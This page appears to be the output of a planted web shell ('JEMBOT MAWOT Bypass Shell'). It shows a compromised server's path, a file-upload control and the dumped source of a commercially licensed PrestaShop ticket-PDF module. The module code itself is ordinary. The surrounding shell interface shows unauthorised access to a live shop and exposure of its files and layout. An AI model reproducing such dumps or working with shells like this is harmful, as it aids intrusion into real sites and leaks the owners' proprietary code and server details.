JEMBOT MAWOT Bypass Shell

Current Path : /home/cinepatreb/billetterie/modules/selltickets/classes/pdf/
Upload File :
Current File : /home/cinepatreb/billetterie/modules/selltickets/classes/pdf/HTMLTemplateTicket.php

<?php

if (!defined('_PS_VERSION_')) { exit; }

/**
 * Sell Tickets module for Prestashop by Avellana Digital
 *
 * @author    Avellana Digital SL
 * @copyright Copyright (c) 2019 Avellana Digital - www.avellanadigital.com
 * @license   Commercial license
 * @version    4.0.0
 */

include_once(_PS_MODULE_DIR_.'selltickets/selltickets.php');

class HTMLTemplateTicket extends HTMLTemplate
{
    public function __construct(Order $order, $smarty)
    {
        $this->selltickets = new SellTickets();
        $this->order = $order;
        $this->customer = new Customer((int)$this->order->id_customer);
        $this->smarty = $smarty;
        $this->date = Tools::displayDate($order->date_add);
        $this->id_product = $GLOBALS['id_product'];
        $this->id_product_attribute = $GLOBALS['id_product_attribute'];
        $this->qr = $this->selltickets->getQrName(
            $this->customer->id,
            $this->customer->firstname,
            $this->customer->lastname,
            $this->order->id,
            $this->id_product,
            $this->id_product_attribute
        );
        $this->id_lang = $this->order->id_lang;
        $this->title = HTMLTemplateTicket::l('Ticket');
        $this->shop = new Shop(
            ($this->order->id_shop ? (int)$this->order->id_shop : (int)Context::getContext()->shop->id)
        );
        $this->context = Context::getContext();
    }

    public function getHeader()
    {
        $this->assignCommonHeaderData();
        $id_shop = (int) $this->shop->id;
        $shop_name = Configuration::get('PS_SHOP_NAME', null, null, $id_shop);       
        $this->smarty->assign(array('header' => $shop_name));

        return $this->smarty->fetch($this->getTemplate('header'));
    }

    public function getFooter()
    {
        $shop_address = $this->getShopAddress();
        $this->smarty->assign(array(
            'available_in_your_account' => false,
            'shop_address' => $shop_address,
            'shop_fax' => Configuration::get('PS_SHOP_FAX', null, null, (int)$this->order->id_shop),
            'shop_phone' => Configuration::get('PS_SHOP_PHONE', null, null, (int)$this->order->id_shop),
            'shop_details' => Configuration::get('PS_SHOP_DETAILS', null, null, (int)$this->order->id_shop),
            'free_text' => Configuration::get(
                'PS_INVOICE_FREE_TEXT',
                (int)Context::getContext()->language->id,
                null,
                (int)$this->order->id_shop
            )
        ));

        return $this->smarty->fetch($this->getTemplate('footer'));
    }

    public function getContent()
    {
        $products = $this->order->getProductsDetail();
        $ticket = $this->selltickets->getTicketByOrder(
            (int)$this->order->id,
            (int)$this->id_product,
            (int)$this->id_product_attribute
        );
        //PROPOSTA PELS PACKS
        foreach($products as $key => $product) {
            if(Pack::isPack($product['product_id'])) {
                unset($products[$key]);
                $pack_products = Pack::getItems($product['product_id'], Configuration::get('PS_LANG_DEFAULT', null, null, $this->order->id_shop));
                foreach ($pack_products as $pack_product) {                     
                    $products[] = array(
                        'id_order' => $this->order->id,
                        'product_id' => $pack_product->id,
                        'product_attribute_id' => $pack_product->id_pack_product_attribute,
                        'product_quantity' => $pack_product->pack_quantity * $product['product_quantity'],
                        'unit_price_tax_incl' => $pack_product->getPrice()
                    );
                }                    
            }
        }

        foreach ($products as $product) {
            if ((int)$product['product_id'] == (int)$ticket['id_product']
            	&& (int)$product['product_attribute_id'] == (int)$ticket['id_product_attribute']) {
                
                if ($this->selltickets->ignoreProductAttribute($ticket['id_ticket'])) {
                    $this->id_product_attribute = 0;
                }
                
                $customer_info = $this->selltickets->getTicketInfoCustomer(
                    (int)$this->order->id_cart,
                    0,
                    (int)$this->id_product,
                    (int)$this->id_product_attribute,
                    true
                );
                $custm_inf = array();
                $num_cust = 1;
                $opt_seats = false;
                $assoc_seats = array();
                $seatcart = array();
                $seats = array();

                if ($ticket['seats']) {
                    $assoc_seats_aux = $this->selltickets->getAssocSeatsByTicket($ticket['id_ticket']);

                    if ($assoc_seats_aux) {
                        foreach ($assoc_seats_aux as $assoc) {
                            $assoc_seats[] = (int)$assoc['id_ticket_seats'];
                        }
                    } else {
                        $assoc_seats = array();
                    }

                    foreach ($assoc_seats as $id_ticket_seats) {
                        $seatcart[$id_ticket_seats] = explode(',', $this->selltickets->getSeatsByOrderAndAssocSeat(
                            (int)$id_ticket_seats,
                            $this->order->id
                        ));
                    }

                    $seats = $seatcart;
                    $seat_attr = $this->selltickets->getSeatsByProductAttribute((int)$id_ticket_seats, (int)$product['product_attribute_id']);
                    if ($seat_attr) {
                        $opt_seats = true;
                    } else {
			if ($this->selltickets->ignoreProductAttribute($ticket['id_ticket'])) {
				$opt_seats = true;
			}
			else {
				$opt_seats = false;
				$seats = false;
			}
                    }
                } else {
                    $opt_seats = false;
                    $seats = false;
                }

                foreach ($customer_info as $cust) {
                    $custm_inf[$num_cust]['name'] = $cust['customer_name'].' '.$cust['customer_firstname'];
                    $custm_inf[$num_cust]['phone'] = $cust['customer_phone'];
                    
                    $ref_ticket = $this->selltickets->getReferenceTicket(
                        $this->order->reference,
                        $this->order->id,
                        $product['product_id'],
                        $product['product_attribute_id'],
                        $num_cust
                    );

                    $custm_inf[$num_cust]['ticket_reference'] = $ref_ticket;

                    if ($opt_seats) {
                        foreach ($seats as $id_ticket_seats => $seat) {
                            $custm_inf[$num_cust]['seat'][$id_ticket_seats] = $this->selltickets->getRealNumberSeat(
                                (int)$id_ticket_seats,
                                $seat[($num_cust-1)]
                            );

                            /*$infoseatmap = $this->selltickets->getSeatMapIdByIdSeat($id_ticket_seats, false, 1);
                            $name_ticket_map = '';
                            if ($infoseatmap) {
                                //$ticket_info = $this->selltickets->getTicket((int)$infoseatmap['id_ticket'], false);
                                $ticket_seat_lang = $this->selltickets->getTicketLangInfo(
                                (int)$infoseatmap['id_ticket'], (int)$this->id_lang
                                );
                                $product_id_ticket = $this->selltickets->getIdProductByTicket(
                                (int)$infoseatmap['id_ticket']
                                );

                                if (isset($ticket_seat_lang['name']) && $ticket_seat_lang['name'] != '') {
                                    $name_ticket_map = $ticket_seat_lang['name'];
                                } else {
                                    $product_ticket = new Product((int)$product_id_ticket['id_product']);
                                    $name_ticket_map = $product_ticket->name[(int)Context::getContext()->language->id];
                                }
                            }
                            $custm_inf[$num_cust]['nameseatmap'][$id_ticket_seats] = $name_ticket_map;*/
                        }
                    } else {
                        $custm_inf[$num_cust]['seat'] = false;
                    }

                    $num_cust++;
                }

                $product_info = new Product($ticket['id_product']);
                $ticket_lang = $this->selltickets->getTicketLangInfo((int)$ticket['id_ticket'], (int)$this->id_lang);
                $ticket_nom = ($ticket_lang['name'] ? $ticket_lang['name'] : $product_info->name[(int)$this->id_lang]);
                $ticket_attributes = '';

                if ((int)$product['product_attribute_id'] != 0) {
                    $ticket_attributes = $this->selltickets->getAttributesFromProduct(
                        $product['product_attribute_id'],
                        $this->id_lang
                    );
                    $ticket_attributes = implode(', ', $ticket_attributes);
                }

                $ticket_nominal = $this->selltickets->getTicketIsNominalByIdProduct((int)$ticket['id_product']);
                $ticket_name = $ticket_nom.($ticket_attributes != '' ? ' - '.$ticket_attributes : '');
                $ticket_price = $product['unit_price_tax_incl'];
                $ticket_date = (isset($ticket_lang['date'])
                    && $ticket_lang['date'] != '' ? $ticket_lang['date'] : false);
                $ticket_hour = (isset($ticket_lang['hour'])
                    && $ticket_lang['hour'] != '' ? $ticket_lang['hour'] : false);
                $ticket_qty = $product['product_quantity'];
                $image = Image::getImages((int)$this->id_lang, $ticket['id_product']);
                $conditions = (isset($ticket_lang['conditions']) && $ticket_lang['conditions'] != '' ?
                    $ticket_lang['conditions'] : false);
                $venue = (isset($ticket_lang['venue']) && $ticket_lang['venue'] != '' ? $ticket_lang['venue'] : false);
                $location = (isset($ticket['location']) && $ticket['location'] != '' ? $ticket['location'] : false);
                $lat = (isset($ticket['lat']) && $ticket['lat'] != '' && isset($ticket['long'])
                    && $ticket['long'] != '' ? $ticket['lat'] : false);
                $long = (isset($ticket['lat']) && $ticket['lat'] != '' && isset($ticket['long'])
                    && $ticket['long'] != '' ? $ticket['long'] : false);
                $img_array_bar = array();
                $img_array_qr = array();

                if ($image) {
                    foreach ($image as $img) {
                        if ($img['cover'] == 1) {
                            $id_image = $img['id_image'];
                            break;
                        }
                    }

                    if (isset($image[0])) {
                        $img_path = '';
                        $strlenimg = Tools::strlen($id_image);

                        for ($i = 0; $i < $strlenimg; $i++) {
                            if (is_numeric($id_image)) {
                                $img_path .= $id_image[$i].'/';
                            }
                        }

                        //$link_rewrite = '';
                        if ($this->selltickets->isps17) {
                            //$link_rewrite = $product_info->link_rewrite[$this->id_lang];
                            $image_type = ImageType::getFormattedName('home');
                        } else {
                            //$link_rewrite = $product_info->link_rewrite;
                            $image_type = ImageType::getFormatedName('home');
                        }

                        /*$link = new Link();
                        $img_prod = $link->getImageLink(
                            $link_rewrite,
                            $id_image,
                            $image_type
                        );
                       
                        if (!file_exists($img_prod)) {
                            //$img_prod = _PS_ROOT_DIR_.'/img/p/'.$img_path.$id_image.'-'.$image_type.'.jpg';
			    $img_prod = 'http://'.Tools::getMediaServer(_PS_IMG_)._PS_IMG_.'p/'.$img_path.$id_image.'-'.$image_type.'.jpg';
                            if (!file_exists($img_prod)) {
                                //$img_prod = _PS_MODULE_DIR_.'selltickets/views/img/ticket.jpg';
                                var_dump($img_prod); 
				$img_prod = 'http://'.Tools::getMediaServer(_PS_IMG_)._MODULE_DIR_.'selltickets/views/img/ticket.jpg';
                            }
                        }*/
                        $img_prod = _PS_ROOT_DIR_.'/img/p/'.$img_path.$id_image.'-'.$image_type.'.jpg';
                        if (file_exists($img_prod)) {
                            //$img_prod = Tools::getShopProtocol().Tools::getMediaServer(_PS_IMG_)._PS_IMG_.'p/'.$img_path.$id_image.'-'.$image_type.'.jpg';
                            $img_prod = _PS_ROOT_DIR_.'/img/p/'.$img_path.$id_image.'-'.$image_type.'.jpg';
                        }
                        else {
                            $img_prod = Tools::getShopProtocol().Tools::getMediaServer(_PS_IMG_)._MODULE_DIR_.'selltickets/views/img/ticket.jpg';
                        }
                    } else {
                        //$img_prod = _PS_MODULE_DIR_.'selltickets/views/img/ticket.jpg';
			$img_prod = Tools::getShopProtocol().Tools::getMediaServer(_PS_IMG_)._MODULE_DIR_.'selltickets/views/img/ticket.jpg';
                    }
                } else {
                    //$img_prod = _PS_MODULE_DIR_.'selltickets/views/img/ticket.jpg';
		    $img_prod = Tools::getShopProtocol().Tools::getMediaServer(_PS_IMG_)._MODULE_DIR_.'selltickets/views/img/ticket.jpg';
                }

                if ($this->qr) {
                    for ($i = 1; $i <= $ticket_qty; $i++) {
                        $img_bar = _PS_MODULE_DIR_.'selltickets/l/bar/'.$this->qr.'_'.$i.'.png';
                        $img_no_bar = _PS_MODULE_DIR_.'selltickets/views/img/bc_'
                        .Language::getIsoById((int)$this->id_lang).'.jpg';

                        $img_qr = _PS_MODULE_DIR_.'selltickets/l/'.$this->qr.'_'.$i.'.png';
                        $img_no_qr = _PS_MODULE_DIR_.'selltickets/views/img/qr_'
                        .Language::getIsoById((int)$this->id_lang).'.jpg';

                        if (file_exists($img_bar)) {
                            $img_array_bar[$i] = $img_bar;
			    //$img_array_bar[$i] = Tools::getShopProtocol().Tools::getMediaServer(_PS_IMG_)._MODULE_DIR_.'selltickets/l/bar/'.$this->qr.'_'.$i.'.png';
                        } else {
                            if (file_exists($img_no_bar)) {
                                $img_array_bar[$i] = $img_no_bar;
                            } else {
                                $img_array_bar[$i] = _PS_MODULE_DIR_.'selltickets/views/img/bc_en.jpg';
                            }
                        }

                        if (file_exists($img_qr)) {
                            $img_array_qr[$i] = $img_qr;
			    //$img_array_qr[$i] = Tools::getShopProtocol().Tools::getMediaServer(_PS_IMG_)._MODULE_DIR_.'selltickets/l/'.$this->qr.'_'.$i.'.png';
                        } else {
                            if (file_exists($img_no_qr)) {
                                $img_array_qr[$i] = $img_no_qr;
                            } else {
                                $img_array_qr[$i] = _PS_MODULE_DIR_.'selltickets/views/img/qr_en.jpg';
                            }
                        }
                    }
                }
            }
        }

        $this->smarty->assign(array(
            'ticket_seats' => $opt_seats,
            'ticket_nominal' => $ticket_nominal,
            'order_id' => $this->order->id,
            'id_product' => $this->id_product,
            'id_product_attribute' => $this->id_product_attribute,
            'order_reference' => $this->order->reference,
            'order_details' => $this->order->getProducts(),
            'firstname' => $this->customer->firstname,
            'lastname' => $this->customer->lastname,
            'ticket_name' => $ticket_name,
            'ticket_price' => $ticket_price,
            'ticket_date' => $ticket_date,
            'ticket_hour' => $ticket_hour,
            'ticket_qty' => $ticket_qty,
            'conditions' => $conditions,
            'venue' => $venue,
            'location' => $location,
            'lat' => $lat,
            'long' => $long,
            'short_description' => $product_info->description_short[(int)$this->id_lang],
            'description' => $product_info->description[(int)$this->id_lang],
            'img_array_qr' => $img_array_qr,
            'img_array_bar' => $img_array_bar,
            'img_prod' => $img_prod,
            'customer_info' => $custm_inf,
            'key_gmaps' => Configuration::get($this->selltickets->name.'_keygmaps')
        ));

        if ($this->selltickets->isps17) {
            if (file_exists(_PS_THEME_DIR_.'modules/selltickets/views/templates/front/pdf/ticket-17.tpl')) {
                return $this->smarty->fetch(_PS_THEME_DIR_.
                    'modules/selltickets/views/templates/front/pdf/ticket-17.tpl');
            }

            return $this->smarty->fetch(_PS_MODULE_DIR_.'selltickets/views/templates/front/pdf/ticket-17.tpl');
        } else {
            if (file_exists(_PS_THEME_DIR_.'modules/selltickets/views/templates/front/pdf/ticket.tpl')) {
                return $this->smarty->fetch(_PS_THEME_DIR_.
                    'modules/selltickets/views/templates/front/pdf/ticket.tpl');
            }

            return $this->smarty->fetch(_PS_MODULE_DIR_.'selltickets/views/templates/front/pdf/ticket.tpl');
        }
    }

    public function getBulkFilename()
    {
        return 'ticket.pdf';
    }

    public function getFilename()
    {
        $filename = $this->selltickets->getFilenameTicketByOrder(
            $this->order->id,
            $this->id_product,
            $this->id_product_attribute,
            $this->id_lang
        );

        return $filename.'-'.$this->qr.'.pdf';
    }

    public function getPagination()
    {
        //return $this->smarty->fetch($this->getTemplate('pagination'));
    }
}

xxxxx1.0, XXX xxxx